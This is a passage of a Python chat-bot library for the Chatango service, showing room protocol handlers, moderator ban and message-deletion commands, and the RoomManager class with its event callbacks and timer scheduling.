  977.       self._mods.add(user)
  978.       self._callEvent("onModAdd", user)
  979.     for user in premods - mods: #demodded
  980.       self._mods.remove(user)
  981.       self._callEvent("onModRemove", user)
  982.     self._callEvent("onModChange")
  983.  
  984.   def _rcmd_b(self, args):
  985.     mtime = float(args[0])
  986.     puid = args[3]
  987.     ip = args[6]
  988.     name = args[1]
  989.     rawmsg = ":".join(args[9:])
  990.     msg, n, f = _clean_message(rawmsg)
  991.     if name == "":
  992.       nameColor = None
  993.       name = "#" + args[2]
  994.       if name == "#":
  995.         name = "!anon" + _getAnonId(n, puid)
  996.     else:
  997.       if n: nameColor = _parseNameColor(n)
  998.       else: nameColor = None
  999.     i = args[5]
  1000.     unid = args[4]
  1001.     user = User(name)
  1002.     #Create an anonymous message and queue it because msgid is unknown.
  1003.     if f: fontColor, fontFace, fontSize = _parseFont(f)
  1004.     else: fontColor, fontFace, fontSize = None, None, None
  1005.     msg = Message(
  1006.       time = mtime,
  1007.       user = user,
  1008.       body = msg,
  1009.       raw = rawmsg,
  1010.       ip = ip,
  1011.       nameColor = nameColor,
  1012.       fontColor = fontColor,
  1013.       fontFace = fontFace,
  1014.       fontSize = fontSize,
  1015.       unid = unid,
  1016.       puid = puid,
  1017.       room = self
  1018.     )
  1019.     self._mqueue[i] = msg
  1020.  
  1021.   def _rcmd_u(self, args):
  1022.     temp = Struct(**self._mqueue)
  1023.     if hasattr(temp, args[0]):
  1024.       msg = getattr(temp, args[0])
  1025.       if msg.user != self.user:
  1026.         msg.user._fontColor = msg.fontColor
  1027.         msg.user._fontFace = msg.fontFace
  1028.         msg.user._fontSize = msg.fontSize
  1029.         msg.user._nameColor = msg.nameColor
  1030.       del self._mqueue[args[0]]
  1031.       msg.attach(self, args[1])
  1032.       self._addHistory(msg)
  1033.       # pdb.set_trace()
  1034.       self._callEvent("onMessage", msg.user, msg)
  1035.  
  1036.   def _rcmd_i(self, args):
  1037.     mtime = float(args[0])
  1038.     puid = args[3]
  1039.     ip = args[6]
  1040.     name = args[1]
  1041.     rawmsg = ":".join(args[9:])
  1042.     msg, n, f = _clean_message(rawmsg)
  1043.     if name == "":
  1044.       nameColor = None
  1045.       name = "#" + args[2]
  1046.       if name == "#":
  1047.         name = "!anon" + _getAnonId(n, puid)
  1048.     else:
  1049.       if n: nameColor = _parseNameColor(n)
  1050.       else: nameColor = None
  1051.     i = args[5]
  1052.     unid = args[4]
  1053.     user = User(name)
  1054.     #Create an anonymous message and queue it because msgid is unknown.
  1055.     if f: fontColor, fontFace, fontSize = _parseFont(f)
  1056.     else: fontColor, fontFace, fontSize = None, None, None
  1057.     msg = Message(
  1058.       time = mtime,
  1059.       user = user,
  1060.       body = msg,
  1061.       raw = rawmsg,
  1062.       ip = ip,
  1063.       nameColor = nameColor,
  1064.       fontColor = fontColor,
  1065.       fontFace = fontFace,
  1066.       fontSize = fontSize,
  1067.       unid = unid,
  1068.       puid = puid,
  1069.       room = self
  1070.     )
  1071.     self._i_log.append(msg)
  1072.  
  1073.   def _rcmd_g_participants(self, args):
  1074.     args = ":".join(args)
  1075.     args = args.split(";")
  1076.     for data in args:
  1077.       data = data.split(":")
  1078.       name = data[3].lower()
  1079.       if name == "none": continue
  1080.       user = User(
  1081.         name = name,
  1082.         room = self
  1083.       )
  1084.       user.addSessionId(self, data[0])
  1085.       self._userlist.append(user)
  1086.  
  1087.   def _rcmd_participant(self, args):
  1088.     name = args[3].lower()
  1089.     if name == "none": return
  1090.     user = User(name)
  1091.     puid = args[2]
  1092.  
  1093.     if args[0] == "0": #leave
  1094.       user.removeSessionId(self, args[1])
  1095.       self._userlist.remove(user)
  1096.       if user not in self._userlist or not self.mgr._userlistEventUnique:
  1097.         self._callEvent("onLeave", user, puid)
  1098.     else: #join
  1099.       user.addSessionId(self, args[1])
  1100.       if user not in self._userlist: doEvent = True
  1101.       else: doEvent = False
  1102.       self._userlist.append(user)
  1103.       if doEvent or not self.mgr._userlistEventUnique:
  1104.         self._callEvent("onJoin", user, puid)
  1105.  
  1106.   def _rcmd_show_fw(self, args):
  1107.     self._callEvent("onFloodWarning")
  1108.  
  1109.   def _rcmd_show_tb(self, args):
  1110.     self._callEvent("onFloodBan")
  1111.  
  1112.   def _rcmd_tb(self, args):
  1113.     self._callEvent("onFloodBanRepeat")
  1114.  
  1115.   def _rcmd_delete(self, args):
  1116.     msg = self._msgs.get(args[0])
  1117.     if msg:
  1118.       if msg in self._history:
  1119.         self._history.remove(msg)
  1120.         self._callEvent("onMessageDelete", msg.user, msg)
  1121.         msg.detach()
  1122.  
  1123.   def _rcmd_deleteall(self, args):
  1124.     for msgid in args:
  1125.       self._rcmd_delete([msgid])
  1126.  
  1127.   def _rcmd_n(self, args):
  1128.     self._userCount = int(args[0], 16)
  1129.     self._callEvent("onUserCountChange")
  1130.  
  1131.   def _rcmd_blocklist(self, args):
  1132.     self._banlist = dict()
  1133.     sections = ":".join(args).split(";")
  1134.     for section in sections:
  1135.       params = section.split(":")
  1136.       if len(params) != 5: continue
  1137.       if params[2] == "": continue
  1138.       user = User(params[2])
  1139.       self._banlist[user] = {
  1140.         "unid":params[0],
  1141.         "ip":params[1],
  1142.         "target":user,
  1143.         "time":float(params[3]),
  1144.         "src":User(params[4])
  1145.       }
  1146.     self._callEvent("onBanlistUpdate")
  1147.  
  1148.   def _rcmd_unblocklist(self, args):
  1149.     self._unbanlist = dict()
  1150.     sections = ":".join(args).split(";")
  1151.     for section in sections:
  1152.       params = section.split(":")
  1153.       if len(params) != 5: continue
  1154.       if params[2] == "": continue
  1155.       user = User(params[2])
  1156.       self._unbanlist[user] = {
  1157.         "unid":params[0],
  1158.         "ip":params[1],
  1159.         "target":user,
  1160.         "time":float(params[3]),
  1161.         "src":User(params[4])
  1162.       }
  1163.     self._callEvent("onUnBanlistUpdate")
  1164.  
  1165.   def _rcmd_blocked(self, args):
  1166.     if args[2] == "": return
  1167.     target = User(args[2])
  1168.     user = User(args[3])
  1169.     self._banlist[target] = {"unid":args[0], "ip":args[1], "target":target, "time":float(args[4]), "src":user}
  1170.     self._callEvent("onBan", user, target)
  1171.  
  1172.   def _rcmd_unblocked(self, args):
  1173.    try:
  1174.       if args[2] == "": return
  1175.       target = User(args[2])
  1176.       user=User(args[3])
  1177.       del self._banlist[target]
  1178.       self._unbanlist[user] = {"unid":args[0], "ip":args[1], "target":target, "time":float(args[4]), "src":user}
  1179.       self._callEvent("onUnban", user, target)
  1180.    except: return self._callEvent("onUnban","?","?")#this allows me to edit the exception message in my bot class when multiple instances are unbanned from the same IP and UNID
  1181.    #return self._callEvent("onUnban",user, target) #this will call the message+unid when you unban multiple users
  1182.  
  1183.   ####
  1184.   # Commands
  1185.   ####
  1186.   def login(self, NAME, PASS = None):
  1187.     """login as a user or set a name in room"""
  1188.     if PASS:
  1189.       self._sendCommand("blogin", NAME, PASS)
  1190.     else:
  1191.       self._sendCommand("blogin", NAME)
  1192.     self._currentname = NAME
  1193.  
  1194.   def logout(self):
  1195.     """logout of user in a room"""
  1196.     self._sendCommand("blogout")
  1197.     self._currentname = self._botname
  1198.  
  1199.   def ping(self):
  1200.     """Send a ping."""
  1201.     self._sendCommand("")
  1202.     self._callEvent("onPing")
  1203.  
  1204.   def rawMessage(self, msg):
  1205.     """
  1206.    Send a message without n and f tags.
  1207.    @type msg: str
  1208.    @param msg: message
  1209.    """
  1210.     if not self._silent:
  1211.       self._sendCommand("bmsg:tl2r", msg)
  1212.  
  1213.   def message(self, msg, html = False):
  1214.     """
  1215.    Send a message. (Use "\n" for new line)
  1216.    @type msg: str
  1217.    @param msg: message
  1218.    """
  1219.     if msg==None:
  1220.       return
  1221.     msg = msg.rstrip()
  1222.     if not html:
  1223.       msg = msg.replace("<", "&lt;").replace(">", "&gt;")
  1224.     if len(msg) > self.mgr._maxLength:
  1225.       if self.mgr._tooBigMessage == BigMessage_Cut:
  1226.         self.message(msg[:self.mgr._maxLength], html = html)
  1227.       elif self.mgr._tooBigMessage == BigMessage_Multiple:
  1228.         while len(msg) > 0:
  1229.           sect = msg[:self.mgr._maxLength]
  1230.           msg = msg[self.mgr._maxLength:]
  1231.           self.message(sect, html = html)
  1232.       return
  1233.     msg = "<n" + self.user.nameColor + "/>" + msg
  1234.     if self._currentname != None and not self._currentname.startswith("!anon"):
  1235.       font_properties = "<f x%0.2i%s=\"%s\">" %(self.user.fontSize, self.user.fontColor, self.user.fontFace)
  1236.       if "\n" in msg:
  1237.         msg.replace("\n", "</f></p><p>%s" %(font_properties))
  1238.       msg = font_properties + msg
  1239.     msg.replace("~","&#126;")
  1240.     self.rawMessage(msg)
  1241.  
  1242.   def setBgMode(self, mode):
  1243.     """turn on/off bg"""
  1244.     self._sendCommand("msgbg", str(mode))
  1245.  
  1246.   def setRecordingMode(self, mode):
  1247.     """turn on/off rcecording"""
  1248.     self._sendCommand("msgmedia", str(mode))
  1249.     #self._sendCommand("msgmedia","shitstring")
  1250.  
  1251.   def addMod(self, user):
  1252.     """
  1253.    Add a moderator.
  1254.    @type user: User
  1255.    @param user: User to mod.
  1256.    """
  1257.     if self.getLevel(User(self.currentname)) == 2:
  1258.       self._sendCommand("addmod", user.name)
  1259.  
  1260.   def removeMod(self, user):
  1261.     """
  1262.    Remove a moderator.
  1263.    @type user: User
  1264.    @param user: User to demod.
  1265.    """
  1266.     if self.getLevel(User(self.currentname)) == 2:
  1267.       self._sendCommand("removemod", user.name)
  1268.  
  1269.   def flag(self, message):
  1270.     """
  1271.    Flag a message.
  1272.    @type message: Message
  1273.    @param message: message to flag
  1274.    """
  1275.     self._sendCommand("g_flag", message.msgid)
  1276.  
  1277.   def flagUser(self, user):
  1278.     """
  1279.    Flag a user.
  1280.    @type user: User
  1281.    @param user: user to flag
  1282.    @rtype: bool
  1283.    @return: whether a message to flag was found
  1284.    """
  1285.     msg = self.getLastMessage(user)
  1286.     if msg:
  1287.       self.flag(msg)
  1288.       return True
  1289.     return False
  1290.  
  1291.   def delete(self, user):
  1292.     """
  1293.    Delete a message. (Moderator only)
  1294.    @type message: Message
  1295.    @param message: message to delete
  1296.    """
  1297.     if self.getLevel(self.user) > 0:
  1298.       msg = self.getLastMessage(user)
  1299.       if msg:
  1300.         self._sendCommand("delmsg", msg.msgid)
  1301.       return True
  1302.     return False
  1303.  
  1304.   def rawClearUser(self, unid, ip, user):
  1305.     self._sendCommand("delallmsg", unid, ip, user)
  1306.   def clearUser(self, user):
  1307.     """
  1308.    Clear all of a user's messages. (Moderator only)
  1309.    @type user: User
  1310.    @param user: user to delete messages of
  1311.    @rtype: bool
  1312.    @return: whether a message to delete was found
  1313.    """
  1314.     if self.getLevel(self.user) > 0:
  1315.       msg = self.getLastMessage(user)
  1316.       if msg:
  1317.         if msg.user.name[0] in ["!","#"]:self.rawClearUser(msg.unid, msg.ip,"")
  1318.         else:self.rawClearUser(msg.unid,msg.ip,msg.user.name)
  1319.         return True
  1320.     return False
  1321.  
  1322.   def clearall(self):
  1323.     """Clear all messages. (Owner only)"""
  1324.     if self.getLevel(self.user) == 2:
  1325.       self._sendCommand("clearall")
  1326.  
  1327.   def rawBan(self, name, ip, unid):
  1328.     """
  1329.    Execute the block command using specified arguments.
  1330.    (For advanced usage)
  1331.    @type name: str
  1332.    @param name: name
  1333.    @type ip: str
  1334.    @param ip: ip address
  1335.    @type unid: str
  1336.    @param unid: unid
  1337.    """
  1338.     self._sendCommand("block", unid, ip, name)
  1339.  
  1340.   def ban(self, msg):
  1341.     """
  1342.    Ban a message's sender. (Moderator only)
  1343.    @type message: Message
  1344.    @param message: message to ban sender of
  1345.    """
  1346.     if self.getLevel(self.user) > 0:
  1347.       self.rawBan(msg.user.name, msg.ip, msg.unid)
  1348.  
  1349.   def banUser(self, user):
  1350.     """
  1351.    Ban a user. (Moderator only)
  1352.    @type user: User
  1353.    @param user: user to ban
  1354.    @rtype: bool
  1355.    @return: whether a message to ban the user was found
  1356.    """
  1357.     msg = self.getLastMessage(user)
  1358.     if msg:
  1359.       self.ban(msg)
  1360.       return True
  1361.     return False
  1362.  
  1363.   def requestBanlist(self):
  1364.     """Request an updated banlist."""
  1365.     self._sendCommand("blocklist", "block", "", "next", "500")
  1366.  
  1367.   def requestUnBanlist(self):
  1368.     """Request an updated banlist."""
  1369.     self._sendCommand("blocklist", "unblock", "", "next", "500")
  1370.  
  1371.   def rawUnban(self, name, ip, unid):
  1372.     """
  1373.    Execute the unblock command using specified arguments.
  1374.    (For advanced usage)
  1375.    @type name: str
  1376.    @param name: name
  1377.    @type ip: str
  1378.    @param ip: ip address
  1379.    @type unid: str
  1380.    @param unid: unid
  1381.    """
  1382.     self._sendCommand("removeblock", unid, ip, name)
  1383.  
  1384.   def unban(self, user):
  1385.     """
  1386.    Unban a user. (Moderator only)
  1387.    @type user: User
  1388.    @param user: user to unban
  1389.    @rtype: bool
  1390.    @return: whether it succeeded
  1391.    """
  1392.     rec = self._getBanRecord(user)
  1393.     if rec:
  1394.       self.rawUnban(rec["target"].name, rec["ip"], rec["unid"])
  1395.       return True
  1396.     else:
  1397.       return False
  1398.  
  1399.   ####
  1400.   # Util
  1401.   ####
  1402.   def _getBanRecord(self, user):
  1403.     if user in self._banlist:
  1404.       return self._banlist[user]
  1405.     return None
  1406.  
  1407.   def _callEvent(self, evt, *args, **kw):
  1408.     getattr(self.mgr, evt)(self, *args, **kw)
  1409.     self.mgr.onEventCalled(self, evt, *args, **kw)
  1410.  
  1411.   def _write(self, data):
  1412.     if self._wlock:
  1413.       self._wlockbuf += data
  1414.     else:
  1415.       self.mgr._write(self, data)
  1416.  
  1417.   def _setWriteLock(self, lock):
  1418.     self._wlock = lock
  1419.     if self._wlock == False:
  1420.       self._write(self._wlockbuf)
  1421.       self._wlockbuf = b""
  1422.  
  1423.   def _sendCommand(self, *args):
  1424.     """
  1425.    Send a command.
  1426.    @type args: [str, str, ...]
  1427.    @param args: command and list of arguments
  1428.    """
  1429.     if self._firstCommand:
  1430.       terminator = b"\x00"
  1431.       self._firstCommand = False
  1432.     else:
  1433.       terminator = b"\r\n\x00"
  1434.     self._write(":".join(args).encode() + terminator)
  1435.  
  1436.   def getLevel(self, user):
  1437.     """get the level of user in a room"""
  1438.     if user == self._owner: return 2
  1439.     if user.name in self.modnames: return 1
  1440.     return 0
  1441.  
  1442.   def getLastMessage(self, user = None):
  1443.     """get last message said by user in a room"""
  1444.     if user:
  1445.       try:
  1446.         i = 1
  1447.         while True:
  1448.           msg = self._history[-i]
  1449.           if msg.user == user:
  1450.             return msg
  1451.           i += 1
  1452.       except IndexError:
  1453.         return None
  1454.     else:
  1455.       try:
  1456.         return self._history[-1]
  1457.       except IndexError:
  1458.         return None
  1459.     return None
  1460.  
  1461.   def findUser(self, name):
  1462.     """check if user is in the room
  1463.    
  1464.    return User(name) if name in room else None"""
  1465.     name = name.lower()
  1466.     ul = self._getUserlist()
  1467.     udi = dict(zip([u.name for u in ul], ul))
  1468.     cname = None
  1469.     for n in udi.keys():
  1470.       if name in n:
  1471.         if cname: return None #ambiguous!!
  1472.         cname = n
  1473.     if cname: return udi[cname]
  1474.     else: return None
  1475.  
  1476.   ####
  1477.   # History
  1478.   ####
  1479.   def _addHistory(self, msg):
  1480.     """
  1481.    Add a message to history.
  1482.    @type msg: Message
  1483.    @param msg: message
  1484.    """
  1485.     self._history.append(msg)
  1486.     if len(self._history) > self.mgr._maxHistoryLength:
  1487.       rest, self._history = self._history[:-self.mgr._maxHistoryLength], self._history[-self.mgr._maxHistoryLength:]
  1488.       for msg in rest: msg.detach()
  1489.  
  1490. ################################################################
  1491. # RoomManager class
  1492. ################################################################
  1493. class RoomManager:
  1494.   """Class that manages multiple connections."""
  1495.   ####
  1496.   # Config
  1497.   ####
  1498.   _Room = Room
  1499.   _PM = PM
  1500.   _ANON_PM = ANON_PM
  1501.   _anonPMHost = "b1.chatango.com"
  1502.   _PMHost = "c1.chatango.com"
  1503.   _PMPort = 5222
  1504.   _TimerResolution = 0.2 #at least x times per second
  1505.   _pingDelay = 20
  1506.   _userlistMode = Userlist_Recent
  1507.   _userlistUnique = True
  1508.   _userlistMemory = 50
  1509.   _userlistEventUnique = False
  1510.   _tooBigMessage = BigMessage_Multiple
  1511.   _maxLength = 1800
  1512.   _maxHistoryLength = 150
  1513.  
  1514.   ####
  1515.   # Init
  1516.   ####
  1517.   def __init__(self, name = None, password = None, pm = True):
  1518.     self._name = name
  1519.     self._password = password
  1520.     self._running = False
  1521.     self._tasks = set()
  1522.     self._rooms = dict()
  1523.     self._rooms_queue = queue.Queue()
  1524.     self._rooms_lock = threading.Lock()
  1525.     if pm:
  1526.       if self._password:
  1527.         self._pm = self._PM(mgr = self)
  1528.       else:
  1529.         self._pm = self._ANON_PM(mgr = self)
  1530.     else:
  1531.       self._pm = None
  1532.  
  1533.   def _joinThread(self):
  1534.     while True:
  1535.       room = self._rooms_queue.get()
  1536.       with self._rooms_lock:
  1537.         con = self._Room(room, mgr = self)
  1538.         self._rooms[room] = con
  1539.  
  1540.   ####
  1541.   # Join/leave
  1542.   ####
  1543.   def joinRoom(self, room):
  1544.     """
  1545.    Join a room or return None if already joined.
  1546.    @type room: str
  1547.    @param room: room to join
  1548.    @rtype: Room or None
  1549.    @return: True or nothing
  1550.    """
  1551.     room = room.lower()
  1552.     if room not in self._rooms:
  1553.       self._rooms_queue.put(room)
  1554.       return True
  1555.     else:
  1556.       return None
  1557.  
  1558.   def leaveRoom(self, room):
  1559.     """
  1560.    Leave a room.
  1561.    @type room: str
  1562.    @param room: room to leave
  1563.    """
  1564.     room = room.lower()
  1565.     if room in self._rooms:
  1566.       with self._rooms_lock:
  1567.         con = self._rooms[room]
  1568.         con.disconnect()
  1569.  
  1570.   def getRoom(self, room):
  1571.     """
  1572.    Get room with a name, or None if not connected to this room.
  1573.    @type room: str
  1574.    @param room: room
  1575.    @rtype: Room
  1576.    @return: the room
  1577.    """
  1578.     room = room.lower()
  1579.     if room in self._rooms:
  1580.       return self._rooms[room]
  1581.     else:
  1582.       return None
  1583.  
  1584.  
  1585.   ####
  1586.   # Properties
  1587.   ####
  1588.   def _getUser(self): return User(self._name)
  1589.   def _getName(self): return self._name
  1590.   def _getPassword(self): return self._password
  1591.   def _getRooms(self): return set(self._rooms.values())
  1592.   def _getRoomNames(self): return set(self._rooms.keys())
  1593.   def _getPM(self): return self._pm
  1594.  
  1595.   user = property(_getUser)
  1596.   name = property(_getName)
  1597.   password = property(_getPassword)
  1598.   rooms = property(_getRooms)
  1599.   roomnames = property(_getRoomNames)
  1600.   pm = property(_getPM)
  1601.   sock_check_null = False
  1602.   ####
  1603.   # Virtual methods
  1604.   ####
  1605.   def onInit(self):
  1606.     """Called on init."""
  1607.     pass
  1608.  
  1609.   def safePrint(self, text):
  1610.     """Use this to safely print text with unicode"""
  1611.     while True:
  1612.       try:
  1613.         print(text)
  1614.         break
  1615.       except UnicodeEncodeError as ex:
  1616.         text = (text[0:ex.start]+'(unicode)'+text[ex.end:])
  1617.  
  1618.   def onConnect(self, room):
  1619.     """
  1620.    Called when connected to the room.
  1621.    
  1622.    @type room: Room
  1623.    @param room: room where the event occured
  1624.    """
  1625.     pass
  1626.  
  1627.   def onReconnect(self, room):
  1628.     """
  1629.    Called when reconnected to the room.
  1630.    
  1631.    @type room: Room
  1632.    @param room: room where the event occured
  1633.    """
  1634.     pass
  1635.  
  1636.   def onConnectFail(self, room):
  1637.     """
  1638.    Called when the connection failed.
  1639.    
  1640.    @type room: Room
  1641.    @param room: room where the event occured
  1642.    """
  1643.     pass
  1644.  
  1645.   def onDisconnect(self, room):
  1646.     """
  1647.    Called when the client gets disconnected.
  1648.    
  1649.    @type room: Room
  1650.    @param room: room where the event occured
  1651.    """
  1652.     pass
  1653.  
  1654.   def onLoginFail(self, room):
  1655.     """
  1656.    Called on login failure, disconnects after.
  1657.    
  1658.    @type room: Room
  1659.    @param room: room where the event occured
  1660.    """
  1661.     pass
  1662.  
  1663.   def onFloodBan(self, room):
  1664.     """
  1665.    Called when either flood banned or flagged.
  1666.    
  1667.    @type room: Room
  1668.    @param room: room where the event occured
  1669.    """
  1670.     pass
  1671.  
  1672.   def onFloodBanRepeat(self, room):
  1673.     """
  1674.    Called when trying to send something when floodbanned.
  1675.  
  1676.    @type room: Room
  1677.    @param room: room where the event occured
  1678.    """
  1679.     pass
  1680.  
  1681.   def onFloodWarning(self, room):
  1682.     """
  1683.    Called when an overflow warning gets received.
  1684.  
  1685.    @type room: Room
  1686.    @param room: room where the event occured
  1687.    """
  1688.     pass
  1689.  
  1690.   def onMessageDelete(self, room, user, message):
  1691.     """
  1692.    Called when a message gets deleted.
  1693.  
  1694.    @type room: Room
  1695.    @param room: room where the event occured
  1696.    @type user: User
  1697.    @param user: owner of deleted message
  1698.    @type message: Message
  1699.    @param message: message that got deleted
  1700.    """
  1701.     pass
  1702.  
  1703.   def onModChange(self, room):
  1704.     """
  1705.    Called when the moderator list changes.
  1706.  
  1707.    @type room: Room
  1708.    @param room: room where the event occured
  1709.    """
  1710.     pass
  1711.  
  1712.   def onModAdd(self, room, user):
  1713.     """
  1714.    Called when a moderator gets added.
  1715.  
  1716.    @type room: Room
  1717.    @param room: room where the event occured
  1718.    """
  1719.     pass
  1720.  
  1721.   def onModRemove(self, room, user):
  1722.     """
  1723.    Called when a moderator gets removed.
  1724.  
  1725.    @type room: Room
  1726.    @param room: room where the event occured
  1727.    """
  1728.     pass
  1729.  
  1730.   def onMessage(self, room, user, message):
  1731.     """
  1732.    Called when a message gets received.
  1733.  
  1734.    @type room: Room
  1735.    @param room: room where the event occured
  1736.    @type user: User
  1737.    @param user: owner of message
  1738.    @type message: Message
  1739.    @param message: received message
  1740.    """
  1741.     pass
  1742.  
  1743.   def onHistoryMessage(self, room, user, message):
  1744.     """
  1745.    Called when a message gets received from history.
  1746.  
  1747.    @type room: Room
  1748.    @param room: room where the event occured
  1749.    @type user: User
  1750.    @param user: owner of message
  1751.    @type message: Message
  1752.    @param message: the message that got added
  1753.    """
  1754.     pass
  1755.  
  1756.   def onJoin(self, room, user, puid):
  1757.     """
  1758.    Called when a user joins. Anonymous users get ignored here.
  1759.  
  1760.    @type room: Room
  1761.    @param room: room where the event occured
  1762.    @type user: User
  1763.    @param user: the user that has joined
  1764.    @type puid: str
  1765.    @param puid: the personal unique id for the user
  1766.    """
  1767.     pass
  1768.  
  1769.   def onLeave(self, room, user, puid):
  1770.     """
  1771.    Called when a user leaves. Anonymous users get ignored here.
  1772.  
  1773.    @type room: Room
  1774.    @param room: room where the event occured
  1775.    @type user: User
  1776.    @param user: the user that has left
  1777.    @type puid: str
  1778.    @param puid: the personal unique id for the user
  1779.    """
  1780.     pass
  1781.  
  1782.   def onRaw(self, room, raw):
  1783.     """
  1784.    Called before any command parsing occurs.
  1785.  
  1786.    @type room: Room
  1787.    @param room: room where the event occured
  1788.    @type raw: str
  1789.    @param raw: raw command data
  1790.    """
  1791.     pass
  1792.  
  1793.   def onPing(self, room):
  1794.     """
  1795.    Called when a ping gets sent.
  1796.  
  1797.    @type room: Room
  1798.    @param room: room where the event occured
  1799.    """
  1800.     pass
  1801.  
  1802.   def onUserCountChange(self, room):
  1803.     """
  1804.    Called when the user count changes.
  1805.  
  1806.    @type room: Room
  1807.    @param room: room where the event occured
  1808.    """
  1809.     pass
  1810.  
  1811.   def onBan(self, room, user, target):
  1812.     """
  1813.    Called when a user gets banned.
  1814.  
  1815.    @type room: Room
  1816.    @param room: room where the event occured
  1817.    @type user: User
  1818.    @param user: user that banned someone
  1819.    @type target: User
  1820.    @param target: user that got banned
  1821.    """
  1822.     pass
  1823.  
  1824.   def onUnban(self, room, user, target):
  1825.     """
  1826.    Called when a user gets unbanned.
  1827.  
  1828.    @type room: Room
  1829.    @param room: room where the event occured
  1830.    @type user: User
  1831.    @param user: user that unbanned someone
  1832.    @type target: User
  1833.    @param target: user that got unbanned
  1834.    """
  1835.     pass
  1836.  
  1837.   def onBanlistUpdate(self, room):
  1838.     """
  1839.    Called when a banlist gets updated.
  1840.  
  1841.    @type room: Room
  1842.    @param room: room where the event occured
  1843.    """
  1844.     pass
  1845.  
  1846.   def onUnBanlistUpdate(self, room):
  1847.     """
  1848.    Called when a unbanlist gets updated.
  1849.  
  1850.    @type room: Room
  1851.    @param room: room where the event occured
  1852.    """
  1853.     pass
  1854.  
  1855.   def onPMConnect(self, pm):
  1856.     """
  1857.    Called when connected to the pm
  1858.    
  1859.    @type pm: PM
  1860.    @param pm: the pm
  1861.    """
  1862.     pass
  1863.  
  1864.   def onAnonPMDisconnect(self, pm, user):
  1865.     """
  1866.    Called when disconnected from the pm
  1867.    
  1868.    @type pm: PM
  1869.    @param pm: the pm
  1870.    """
  1871.     pass
  1872.  
  1873.   def onPMDisconnect(self, pm):
  1874.     """
  1875.    Called when disconnected from the pm
  1876.    
  1877.    @type pm: PM
  1878.    @param pm: the pm
  1879.    """
  1880.     pass
  1881.  
  1882.   def onPMPing(self, pm):
  1883.     """
  1884.    Called when sending a ping to the pm
  1885.    
  1886.    @type pm: PM
  1887.    @param pm: the pm
  1888.    """
  1889.     pass
  1890.  
  1891.   def onPMMessage(self, pm, user, body):
  1892.     """
  1893.    Called when a message is received
  1894.    
  1895.    @type pm: PM
  1896.    @param pm: the pm
  1897.    @type user: User
  1898.    @param user: owner of message
  1899.    @type message: Message
  1900.    @param message: received message
  1901.    """
  1902.     pass
  1903.  
  1904.   def onPMOfflineMessage(self, pm, user, body):
  1905.     """
  1906.    Called when connected if a message is received while offline
  1907.    
  1908.    @type pm: PM
  1909.    @param pm: the pm
  1910.    @type user: User
  1911.    @param user: owner of message
  1912.    @type message: Message
  1913.    @param message: received message
  1914.    """
  1915.     pass
  1916.  
  1917.   def onPMContactlistReceive(self, pm):
  1918.     """
  1919.    Called when the contact list is received
  1920.    
  1921.    @type pm: PM
  1922.    @param pm: the pm
  1923.    """
  1924.     pass
  1925.  
  1926.   def onPMBlocklistReceive(self, pm):
  1927.     """
  1928.    Called when the block list is received
  1929.    
  1930.    @type pm: PM
  1931.    @param pm: the pm
  1932.    """
  1933.     pass
  1934.  
  1935.   def onPMContactAdd(self, pm, user):
  1936.     """
  1937.    Called when the contact added message is received
  1938.    
  1939.    @type pm: PM
  1940.    @param pm: the pm
  1941.    @type user: User
  1942.    @param user: the user that gotten added
  1943.    """
  1944.     pass
  1945.  
  1946.   def onPMContactRemove(self, pm, user):
  1947.     """
  1948.    Called when the contact remove message is received
  1949.    
  1950.    @type pm: PM
  1951.    @param pm: the pm
  1952.    @type user: User
  1953.    @param user: the user that gotten remove
  1954.    """
  1955.     pass
  1956.  
  1957.   def onPMBlock(self, pm, user):
  1958.     """
  1959.    Called when successfully block a user
  1960.    
  1961.    @type pm: PM
  1962.    @param pm: the pm
  1963.    @type user: User
  1964.    @param user: the user that gotten block
  1965.    """
  1966.     pass
  1967.  
  1968.   def onPMUnblock(self, pm, user):
  1969.     """
  1970.    Called when successfully unblock a user
  1971.    
  1972.    @type pm: PM
  1973.    @param pm: the pm
  1974.    @type user: User
  1975.    @param user: the user that gotten unblock
  1976.    """
  1977.     pass
  1978.  
  1979.   def onPMContactOnline(self, pm, user):
  1980.     """
  1981.    Called when a user from the contact come online
  1982.    
  1983.    @type pm: PM
  1984.    @param pm: the pm
  1985.    @type user: User
  1986.    @param user: the user that came online
  1987.    """
  1988.     pass
  1989.  
  1990.   def onPMContactOffline(self, pm, user):
  1991.     """
  1992.    Called when a user from the contact go offline
  1993.    
  1994.    @type pm: PM
  1995.    @param pm: the pm
  1996.    @type user: User
  1997.    @param user: the user that went offline
  1998.    """
  1999.     pass
  2000.  
  2001.   def onEventCalled(self, room, evt, *args, **kw):
  2002.     """
  2003.    Called on every room-based event.
  2004.  
  2005.    @type room: Room
  2006.    @param room: room where the event occured
  2007.    @type evt: str
  2008.    @param evt: the event
  2009.    """
  2010.     pass
  2011.  
  2012.   ####
  2013.   # Deferring
  2014.   ####
  2015.   def deferToThread(self, callback, func, *args, **kw):
  2016.     """
  2017.    Defer a function to a thread and callback the return value.
  2018.  
  2019.    @type callback: function
  2020.    @param callback: function to call on completion
  2021.    @type cbargs: tuple or list
  2022.    @param cbargs: arguments to get supplied to the callback
  2023.    @type func: function
  2024.    @param func: function to call
  2025.    """
  2026.     def f(func, callback, *args, **kw):
  2027.       ret = func(*args, **kw)
  2028.       self.setTimeout(0, callback, ret)
  2029.     threading._start_new_thread(f, (func, callback) + args, kw)
  2030.  
  2031.   ####
  2032.   # Scheduling
  2033.   ####
  2034.   class _Task:
  2035.     def cancel(self):
  2036.       """Sugar for removeTask."""
  2037.       self.mgr.removeTask(self)
  2038.  
  2039.   def _tick(self):
  2040.     now = time.time()
  2041.     for task in set(self._tasks):
  2042.       if task.target <= now:
  2043.         task.func(*task.args, **task.kw)
  2044.         if task.isInterval:
  2045.           task.target = now + task.timeout
  2046.         else:
  2047.           self._tasks.remove(task)
  2048.  
  2049.   def setTimeout(self, timeout, func, *args, **kw):
  2050.     """
  2051.    Call a function after at least timeout seconds with specified arguments.
  2052.    @type timeout: int
  2053.    @param timeout: timeout
  2054.    @type func: function
  2055.    @param func: function to call
  2056.    @rtype: _Task
  2057.    @return: object representing the task
  2058.    """
  2059.     task = self._Task()
  2060.     task.mgr = self
  2061.     task.target = time.time() + timeout
  2062.     task.timeout = timeout
  2063.     task.func = func
  2064.     task.isInterval = False
  2065.     task.args = args
  2066.     task.kw = kw
  2067.     self._tasks.add(task)
  2068.     return task
  2069.  
  2070.   def setInterval(self, timeout, func, *args, **kw):
  2071.     """
  2072.    Call a function at least every timeout seconds with specified arguments.
  2073.    @type timeout: int
  2074.    @param timeout: timeout
  2075.    @type func: function
  2076.    @param func: function to call
